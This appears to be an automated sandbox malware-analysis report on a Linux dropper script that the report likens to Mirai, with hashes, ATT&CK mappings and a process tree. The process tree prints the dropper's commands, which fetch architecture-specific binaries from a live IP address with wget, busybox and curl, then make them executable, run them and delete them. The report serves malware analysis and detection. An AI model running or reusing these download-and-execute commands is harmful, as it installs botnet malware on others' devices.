6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef

Analysis

max time kernel
149s
max time network
147s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23/08/2026, 14:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
Size 5KB
Sample260823-r2mhcssway
SHA256 6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
MD5 b33ae521c69555ef6eaa8d58dfe3c0ee
SHA1 ce1c73832c8d43fe5c99a7a0a25677508d687a43
SHA512 a37975f4eba81b00afa6126e67a9996203be425bd30204d0ed6998379aab0be5b09ee6932eda04f41818e50a6c9cdc8f8fe8f0790125b914939de35f1f29cb10
SSDEEP 48:vrSu7DnfrIray/svDfOuKeSrt/Zg7hrK/Hay7N:vrSu7DnfrCayUvDfTKegtW7BK/3Z
TLSH
T141B192C7609B1CB03FE1E56B72BA490534D5A6CE91DAAF8AADEC3CF451CDC09B440693
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 39 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1506	chmod
1567	chmod
1584	chmod
1601	chmod
1633	chmod
1641	chmod
1673	chmod
1518	chmod
1557	chmod
1572	chmod
1613	chmod
1618	chmod
1637	chmod
1513	chmod
1530	chmod
1596	chmod
1628	chmod
1681	chmod
1491	chmod
1547	chmod
1552	chmod
1577	chmod
1608	chmod
1623	chmod
1649	chmod
1657	chmod
1501	chmod
1525	chmod
1661	chmod
1677	chmod
1496	chmod
1562	chmod
1645	chmod
1665	chmod
1537	chmod
1542	chmod
1653	chmod
1589	chmod
1669	chmod

Executes dropped EXE 39 IoCs

ioc	pid	Process
/tmp/MIPS	1492	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/MIPSEL	1497	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SH4	1502	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/X86_64	1507	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV6L	1514	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I686	1519	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/POWERPC	1526	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I586	1531	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/M68K	1538	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SPARC	1543	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV4L	1548	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV5L	1553	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV7L	1558	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/MIPS	1563	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/MIPSEL	1568	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SH4	1573	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/X86_64	1578	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV6L	1585	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I686	1590	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/POWERPC	1597	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I586	1602	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/M68K	1609	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SPARC	1614	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV4L	1619	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV5L	1624	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV7L	1629	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/MIPS	1634	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/MIPSEL	1638	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SH4	1642	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/X86_64	1646	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV6L	1650	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I686	1654	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/POWERPC	1658	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I586	1662	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/M68K	1666	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SPARC	1670	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV4L	1674	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV5L	1678	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV7L	1682	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef

Modifies Watchdog functionality 1 TTPs 12 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	I586
File opened for modification	/dev/misc/watchdog	X86_64
File opened for modification	/dev/misc/watchdog	I686
File opened for modification	/dev/misc/watchdog	X86_64
File opened for modification	/dev/watchdog	I686
File opened for modification	/dev/misc/watchdog	I686
File opened for modification	/dev/watchdog	I586
File opened for modification	/dev/watchdog	X86_64
File opened for modification	/dev/watchdog	I686
File opened for modification	/dev/watchdog	I586
File opened for modification	/dev/misc/watchdog	I586
File opened for modification	/dev/watchdog	X86_64

Reads system routing table 1 TTPs 6 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	I686
File opened for reading	/proc/net/route	I586
File opened for reading	/proc/net/route	X86_64
File opened for reading	/proc/net/route	I686
File opened for reading	/proc/net/route	I586
File opened for reading	/proc/net/route	X86_64

Changes its process name 6 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	sshd	1507	X86_64
Changes the process name, possibly in an attempt to hide itself	sshd	1519	I686
Changes the process name, possibly in an attempt to hide itself	sshd	1531	I586
Changes the process name, possibly in an attempt to hide itself	sshd	1578	X86_64
Changes the process name, possibly in an attempt to hide itself	sshd	1590	I686
Changes the process name, possibly in an attempt to hide itself	sshd	1602	I586

Reads system network configuration 1 TTPs 6 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	X86_64
File opened for reading	/proc/net/route	I686
File opened for reading	/proc/net/route	I586
File opened for reading	/proc/net/route	X86_64
File opened for reading	/proc/net/route	I686
File opened for reading	/proc/net/route	I586

System Network Configuration Discovery 1 TTPs 18 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1563	MIPS
1566	busybox
1636	curl
1638	MIPSEL
1484	wget
1497	MIPSEL
1561	busybox
1632	curl
1568	MIPSEL
1635	rm
1492	MIPS
1494	rm
1495	wget
1499	rm
1565	rm
1570	rm
1634	MIPS
1639	rm

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/MIPSEL	wget
File opened for modification	/tmp/SH4	wget
File opened for modification	/tmp/I686	wget
File opened for modification	/tmp/SPARC	wget
File opened for modification	/tmp/MIPS	busybox
File opened for modification	/tmp/MIPSEL	busybox
File opened for modification	/tmp/I686	busybox
File opened for modification	/tmp/I586	busybox
File opened for modification	/tmp/MIPS	wget
File opened for modification	/tmp/M68K	wget
File opened for modification	/tmp/ARMV4L	wget
File opened for modification	/tmp/SH4	busybox
File opened for modification	/tmp/X86_64	busybox
File opened for modification	/tmp/ARMV6L	busybox
File opened for modification	/tmp/M68K	busybox
File opened for modification	/tmp/SPARC	busybox
File opened for modification	/tmp/ARMV5L	wget
File opened for modification	/tmp/ARMV5L	busybox
File opened for modification	/tmp/ARMV7L	busybox
File opened for modification	/tmp/X86_64	wget
File opened for modification	/tmp/ARMV6L	wget
File opened for modification	/tmp/POWERPC	wget
File opened for modification	/tmp/I586	wget
File opened for modification	/tmp/ARMV7L	wget
File opened for modification	/tmp/POWERPC	busybox
File opened for modification	/tmp/ARMV4L	busybox

/tmp/6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
1⤵
- Executes dropped EXE
PID:1483
- /usr/bin/wget
  wget http://213.232.114.14/MIPS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1484
- /bin/chmod
  chmod +x MIPS
  2⤵
  - File and Directory Permissions Modification
  PID:1491
- /tmp/MIPS
  ./MIPS
  2⤵
  - System Network Configuration Discovery
  PID:1492
- /bin/rm
  rm -rf MIPS
  2⤵
  - System Network Configuration Discovery
  PID:1494
- /usr/bin/wget
  wget http://213.232.114.14/MIPSEL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1495
- /bin/chmod
  chmod +x MIPSEL
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /tmp/MIPSEL
  ./MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:1497
- /bin/rm
  rm -rf MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:1499
- /usr/bin/wget
  wget http://213.232.114.14/SH4
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/chmod
  chmod +x SH4
  2⤵
  - File and Directory Permissions Modification
  PID:1501
- /tmp/SH4
  ./SH4
  2⤵
  PID:1502
- /bin/rm
  rm -rf SH4
  2⤵
  PID:1504
- /usr/bin/wget
  wget http://213.232.114.14/X86_64
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod +x X86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/X86_64
  ./X86_64
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:1507
- /bin/rm
  rm -rf X86_64
  2⤵
  PID:1511
- /usr/bin/wget
  wget http://213.232.114.14/ARMV6L
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod +x ARMV6L
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/ARMV6L
  ./ARMV6L
  2⤵
  PID:1514
- /bin/rm
  rm -rf ARMV6L
  2⤵
  PID:1516
- /usr/bin/wget
  wget http://213.232.114.14/I686
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod +x I686
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/I686
  ./I686
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:1519
- /bin/rm
  rm -rf I686
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://213.232.114.14/POWERPC
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod +x POWERPC
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/POWERPC
  ./POWERPC
  2⤵
  PID:1526
- /bin/rm
  rm -rf POWERPC
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://213.232.114.14/I586
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod +x I586
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/I586
  ./I586
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:1531
- /bin/rm
  rm -rf I586
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://213.232.114.14/M68K
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/chmod
  chmod +x M68K
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/M68K
  ./M68K
  2⤵
  PID:1538
- /bin/rm
  rm -rf M68K
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://213.232.114.14/SPARC
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod +x SPARC
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/SPARC
  ./SPARC
  2⤵
  PID:1543
- /bin/rm
  rm -rf SPARC
  2⤵
  PID:1545
- /usr/bin/wget
  wget http://213.232.114.14/ARMV4L
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/chmod
  chmod +x ARMV4L
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/ARMV4L
  ./ARMV4L
  2⤵
  PID:1548
- /bin/rm
  rm -rf ARMV4L
  2⤵
  PID:1550
- /usr/bin/wget
  wget http://213.232.114.14/ARMV5L
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/chmod
  chmod +x ARMV5L
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/ARMV5L
  ./ARMV5L
  2⤵
  PID:1553
- /bin/rm
  rm -rf ARMV5L
  2⤵
  PID:1555
- /usr/bin/wget
  wget http://213.232.114.14/ARMV7L
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/chmod
  chmod +x ARMV7L
  2⤵
  - File and Directory Permissions Modification
  PID:1557
- /tmp/ARMV7L
  ./ARMV7L
  2⤵
  PID:1558
- /bin/rm
  rm -rf ARMV7L
  2⤵
  PID:1560
- /bin/busybox
  busybox wget http://213.232.114.14/MIPS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1561
- /bin/chmod
  chmod +x MIPS
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/MIPS
  ./MIPS
  2⤵
  - System Network Configuration Discovery
  PID:1563
- /bin/rm
  rm -rf MIPS
  2⤵
  - System Network Configuration Discovery
  PID:1565
- /bin/busybox
  busybox wget http://213.232.114.14/MIPSEL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod +x MIPSEL
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/MIPSEL
  ./MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:1568
- /bin/rm
  rm -rf MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:1570
- /bin/busybox
  busybox wget http://213.232.114.14/SH4
  2⤵
  - Writes file to tmp directory
  PID:1571
- /bin/chmod
  chmod +x SH4
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /tmp/SH4
  ./SH4
  2⤵
  PID:1573
- /bin/rm
  rm -rf SH4
  2⤵
  PID:1575
- /bin/busybox
  busybox wget http://213.232.114.14/X86_64
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/chmod
  chmod +x X86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1577
- /tmp/X86_64
  ./X86_64
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:1578
- /bin/rm
  rm -rf X86_64
  2⤵
  PID:1582
- /bin/busybox
  busybox wget http://213.232.114.14/ARMV6L
  2⤵
  - Writes file to tmp directory
  PID:1583
- /bin/chmod
  chmod +x ARMV6L
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /tmp/ARMV6L
  ./ARMV6L
  2⤵
  PID:1585
- /bin/rm
  rm -rf ARMV6L
  2⤵
  PID:1587
- /bin/busybox
  busybox wget http://213.232.114.14/I686
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/chmod
  chmod +x I686
  2⤵
  - File and Directory Permissions Modification
  PID:1589
- /tmp/I686
  ./I686
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:1590
- /bin/rm
  rm -rf I686
  2⤵
  PID:1594
- /bin/busybox
  busybox wget http://213.232.114.14/POWERPC
  2⤵
  - Writes file to tmp directory
  PID:1595
- /bin/chmod
  chmod +x POWERPC
  2⤵
  - File and Directory Permissions Modification
  PID:1596
- /tmp/POWERPC
  ./POWERPC
  2⤵
  PID:1597
- /bin/rm
  rm -rf POWERPC
  2⤵
  PID:1599
- /bin/busybox
  busybox wget http://213.232.114.14/I586
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/chmod
  chmod +x I586
  2⤵
  - File and Directory Permissions Modification
  PID:1601
- /tmp/I586
  ./I586
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:1602
- /bin/rm
  rm -rf I586
  2⤵
  PID:1606
- /bin/busybox
  busybox wget http://213.232.114.14/M68K
  2⤵
  - Writes file to tmp directory
  PID:1607
- /bin/chmod
  chmod +x M68K
  2⤵
  - File and Directory Permissions Modification
  PID:1608
- /tmp/M68K
  ./M68K
  2⤵
  PID:1609
- /bin/rm
  rm -rf M68K
  2⤵
  PID:1611
- /bin/busybox
  busybox wget http://213.232.114.14/SPARC
  2⤵
  - Writes file to tmp directory
  PID:1612
- /bin/chmod
  chmod +x SPARC
  2⤵
  - File and Directory Permissions Modification
  PID:1613
- /tmp/SPARC
  ./SPARC
  2⤵
  PID:1614
- /bin/rm
  rm -rf SPARC
  2⤵
  PID:1616
- /bin/busybox
  busybox wget http://213.232.114.14/ARMV4L
  2⤵
  - Writes file to tmp directory
  PID:1617
- /bin/chmod
  chmod +x ARMV4L
  2⤵
  - File and Directory Permissions Modification
  PID:1618
- /tmp/ARMV4L
  ./ARMV4L
  2⤵
  PID:1619
- /bin/rm
  rm -rf ARMV4L
  2⤵
  PID:1621
- /bin/busybox
  busybox wget http://213.232.114.14/ARMV5L
  2⤵
  - Writes file to tmp directory
  PID:1622
- /bin/chmod
  chmod +x ARMV5L
  2⤵
  - File and Directory Permissions Modification
  PID:1623
- /tmp/ARMV5L
  ./ARMV5L
  2⤵
  PID:1624
- /bin/rm
  rm -rf ARMV5L
  2⤵
  PID:1626
- /bin/busybox
  busybox wget http://213.232.114.14/ARMV7L
  2⤵
  - Writes file to tmp directory
  PID:1627
- /bin/chmod
  chmod +x ARMV7L
  2⤵
  - File and Directory Permissions Modification
  PID:1628
- /tmp/ARMV7L
  ./ARMV7L
  2⤵
  PID:1629
- /bin/rm
  rm -rf ARMV7L
  2⤵
  PID:1631
- /usr/bin/curl
  curl -O MIPS http://213.232.114.14/MIPS
  2⤵
  - System Network Configuration Discovery
  PID:1632
- /bin/chmod
  chmod +x MIPS
  2⤵
  - File and Directory Permissions Modification
  PID:1633
- /tmp/MIPS
  ./MIPS
  2⤵
  - System Network Configuration Discovery
  PID:1634
- /bin/rm
  rm -rf MIPS
  2⤵
  - System Network Configuration Discovery
  PID:1635
- /usr/bin/curl
  curl -O MIPSEL http://213.232.114.14/MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:1636
- /bin/chmod
  chmod +x MIPSEL
  2⤵
  - File and Directory Permissions Modification
  PID:1637
- /tmp/MIPSEL
  ./MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:1638
- /bin/rm
  rm -rf MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:1639
- /usr/bin/curl
  curl -O SH4 http://213.232.114.14/SH4
  2⤵
  PID:1640
- /bin/chmod
  chmod +x SH4
  2⤵
  - File and Directory Permissions Modification
  PID:1641
- /tmp/SH4
  ./SH4
  2⤵
  PID:1642
- /bin/rm
  rm -rf SH4
  2⤵
  PID:1643
- /usr/bin/curl
  curl -O X86_64 http://213.232.114.14/X86_64
  2⤵
  PID:1644
- /bin/chmod
  chmod +x X86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1645
- /tmp/X86_64
  ./X86_64
  2⤵
  PID:1646
- /bin/rm
  rm -rf X86_64
  2⤵
  PID:1647
- /usr/bin/curl
  curl -O ARMV6L http://213.232.114.14/ARMV6L
  2⤵
  PID:1648
- /bin/chmod
  chmod +x ARMV6L
  2⤵
  - File and Directory Permissions Modification
  PID:1649
- /tmp/ARMV6L
  ./ARMV6L
  2⤵
  PID:1650
- /bin/rm
  rm -rf ARMV6L
  2⤵
  PID:1651
- /usr/bin/curl
  curl -O I686 http://213.232.114.14/I686
  2⤵
  PID:1652
- /bin/chmod
  chmod +x I686
  2⤵
  - File and Directory Permissions Modification
  PID:1653
- /tmp/I686
  ./I686
  2⤵
  PID:1654
- /bin/rm
  rm -rf I686
  2⤵
  PID:1655
- /usr/bin/curl
  curl -O POWERPC http://213.232.114.14/POWERPC
  2⤵
  PID:1656
- /bin/chmod
  chmod +x POWERPC
  2⤵
  - File and Directory Permissions Modification
  PID:1657
- /tmp/POWERPC
  ./POWERPC
  2⤵
  PID:1658
- /bin/rm
  rm -rf POWERPC
  2⤵
  PID:1659
- /usr/bin/curl
  curl -O I586 http://213.232.114.14/I586
  2⤵
  PID:1660
- /bin/chmod
  chmod +x I586
  2⤵
  - File and Directory Permissions Modification
  PID:1661
- /tmp/I586
  ./I586
  2⤵
  PID:1662
- /bin/rm
  rm -rf I586
  2⤵
  PID:1663
- /usr/bin/curl
  curl -O M68K http://213.232.114.14/M68K
  2⤵
  PID:1664
- /bin/chmod
  chmod +x M68K
  2⤵
  - File and Directory Permissions Modification
  PID:1665
- /tmp/M68K
  ./M68K
  2⤵
  PID:1666
- /bin/rm
  rm -rf M68K
  2⤵
  PID:1667
- /usr/bin/curl
  curl -O SPARC http://213.232.114.14/SPARC
  2⤵
  PID:1668
- /bin/chmod
  chmod +x SPARC
  2⤵
  - File and Directory Permissions Modification
  PID:1669
- /tmp/SPARC
  ./SPARC
  2⤵
  PID:1670
- /bin/rm
  rm -rf SPARC
  2⤵
  PID:1671
- /usr/bin/curl
  curl -O ARMV4L http://213.232.114.14/ARMV4L
  2⤵
  PID:1672
- /bin/chmod
  chmod +x ARMV4L
  2⤵
  - File and Directory Permissions Modification
  PID:1673
- /tmp/ARMV4L
  ./ARMV4L
  2⤵
  PID:1674
- /bin/rm
  rm -rf ARMV4L
  2⤵
  PID:1675
- /usr/bin/curl
  curl -O ARMV5L http://213.232.114.14/ARMV5L
  2⤵
  PID:1676
- /bin/chmod
  chmod +x ARMV5L
  2⤵
  - File and Directory Permissions Modification
  PID:1677
- /tmp/ARMV5L
  ./ARMV5L
  2⤵
  PID:1678
- /bin/rm
  rm -rf ARMV5L
  2⤵
  PID:1679
- /usr/bin/curl
  curl -O ARMV7L http://213.232.114.14/ARMV7L
  2⤵
  PID:1680
- /bin/chmod
  chmod +x ARMV7L
  2⤵
  - File and Directory Permissions Modification
  PID:1681
- /tmp/ARMV7L
  ./ARMV7L
  2⤵
  PID:1682
- /bin/rm
  rm -rf ARMV7L
  2⤵
  PID:1683

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ARMV4L

Path /tmp/ARMV4L
Size 89KB
SHA256 a0a5a4d1f42a9a0a0c62c2eaeda4a83fa9834f7e4d24989a92c77fddc0be5d98
MD5 5aa67f5821dd215dd33cc2616d25758c
SHA1 3b1cc8a38d9f503210c6d0dfbe4abb5ec48deb0e
SHA512 d391de471bbe3bcc12850e22a522069dd16271a6d1b92248c75d25bf638402ed0a25419bfba9606b12e1434ea3deadf174d72ab7471b7011420327a9392b8a6a
SSDEEP 1536:u9TpIOi3Z+N57BdBfIWuyFeppLLHkyopG/FNOCOFlvf4ab:7O6+N57BHjuyKLXbFNiQab
TLSH
T15C93E784FD549B1FC3D373F6EB59028D763A1FA8A7EB30269934BE9023F5AD42525120
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ARMV5L

Path /tmp/ARMV5L
Size 86KB
SHA256 44fa446d57a66fb30d1b9c0f55c39d9d4ba036564ac4b4f7cdeb4e30da33d739
MD5 d5b0f476bbb7f055da7da819ec4ac1c3
SHA1 3d84310914b8cff7de0d8f3598d0a0c1bf007600
SHA512 7a685380acf95c5faef1205ad6da1816eb1818730ee5b4edfc3c1a2bce8de41e65106aa7f87474970cbed2b2912c054a217624708996b548f267cab1db80d9b3
SSDEEP 1536:YZXNUOKLl+NuxAgtfIaNPNKJ6fYp+XBv8jNPNu5OlJ49b:ZOK+NuxTHNPjfYkRvONM9b
TLSH
T17A83F884FD459B1FC3D373FAE759028D763A1FA8A7EB30269934BE9023F5AD42525120
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ARMV6L

Path /tmp/ARMV6L
Size 100KB
SHA256 9e8b58253b8e183cd5d3b3a11b1534e1ab6124dc66e5589d7935968b0b7b5bc6
MD5 3fbddd4995e03497bffacf4b81e28263
SHA1 5a66374865d480ecd615a45ed8cef89804d6417c
SHA512 cb1d2aaa5b92b6ae3e5494c213591097fd143ef4c4eb9409f2d2582465ede49643557b71116fda1aa7c012a4a0a6456cd69f942be3157531bb893b918b4f96c8
SSDEEP 1536:MgnbMv4eO9F8iHXsBZlNaDeVCIdEiLDrI3gffOaO5QBN2cWnYscdq:4MZHuvNamrI3gffDOO9Emdq
TLSH
T13BA30944E560971AC3E333BAEB59418E32231FA8A3EB30259934FF9423F6BE61535535
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ARMV7L

Path /tmp/ARMV7L
Size 113KB
SHA256 74501847c204f8f852a901f721d770bb4453411f4f1e01f4b759e1e320a08421
MD5 3d4ba3bc54e6bf3d375a941b9c15c19a
SHA1 98680cc93177eabd5e2fc2a3ef08718a11fa1a2d
SHA512 56b563fb9d897585b922d9ae9287c7003c734b0e9faa0a4b50caf22aae5b8a9475807d81c1543fb86acf33a72c16a0b82fd6a1c3ce6bf55803a7b4a18035531b
SSDEEP 1536:SAnu1B2/YPfM5H3Rm9hvRa4qRwL16B2lMyH8iXT8VfSYajgY7R39ibP:cp05hshvRa4qRwLJ9T8VfSYkgStEP
TLSH
T1A0B31A48E9509B1AC3E332FAFB8D418D32231FA8E3EB30259934BF5413E5BD61A75525
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

I586

Path /tmp/I586
Size 72KB
SHA256 e57b7b8065e093277f0e084a37eb26fd2d6c5f2e45c9fb8413cd60f00da05fcd
MD5 f9eb6ff6aaf43309fa82ff8198843982
SHA1 1e775f6686c121c7e9437e8f4995bfe7e64be6c7
SHA512 99177a70ec17400408c064125eb827998a5fac7f9168c7575f5c06fa678cb096d20448554f2959802228b2068c96c35567cc69a5eb138c35b0bd31d012469175
SSDEEP 1536:hXJCYWbdfU6yKHekqvNePGdstKx3yr9Wtemh2:hXJCYQfU6PHQeP2sgx3yBE
TLSH
T14A733B52B781DA73E10311F211E2EF250532FE7E2866E95AE3A57DB4DA390C0D611F6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

I686

Path /tmp/I686
Size 73KB
SHA256 ffc5b6082db7d0eeb0cb5495a5dfcc2c7f499c3b4c60e6fa2d876c3817c9a0a5
MD5 a2ba6e2b5c615aef56149dd991d8ed75
SHA1 1633e8ae339dfadb7af244349b5d8195f787caec
SHA512 ed13b0d853795c4ba9b6d5c6e2ec5b207c42b89b7bef7c9c227b544507d30adb653532b64cee489caf74772aca15cc527fe6df79822813f60d044c7b3dfa7ed6
SSDEEP 1536:Xxhl7/SS9CVhmuaFwkWNc9J+/X7n1pWpa5:Xt/SS9CVhmAa9J+/X7nKw5
TLSH
T10F731957E743C7B3C80301F211A7ADAF8931FE3A5836DA8AE3247D54A7368D06612B75
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

M68K

Path /tmp/M68K
Size 89KB
SHA256 be5c1b4fe3932d16e1f7ecca5a9593305529a846bc282977d9eb0ccf429ed23a
MD5 90bba0a2b88f2b52dee5f247c86e61ba
SHA1 c69ea1cf1b2fb61f6d126163e6ddb46cd5b032be
SHA512 0f5507fbd09ed659ecc1947f58400189510c993aff61486ee89d4cd11ea20ae91c4ac10f4abb07a071670785d049baa401ae5cacf17bf1e3aa256edcb8558cca
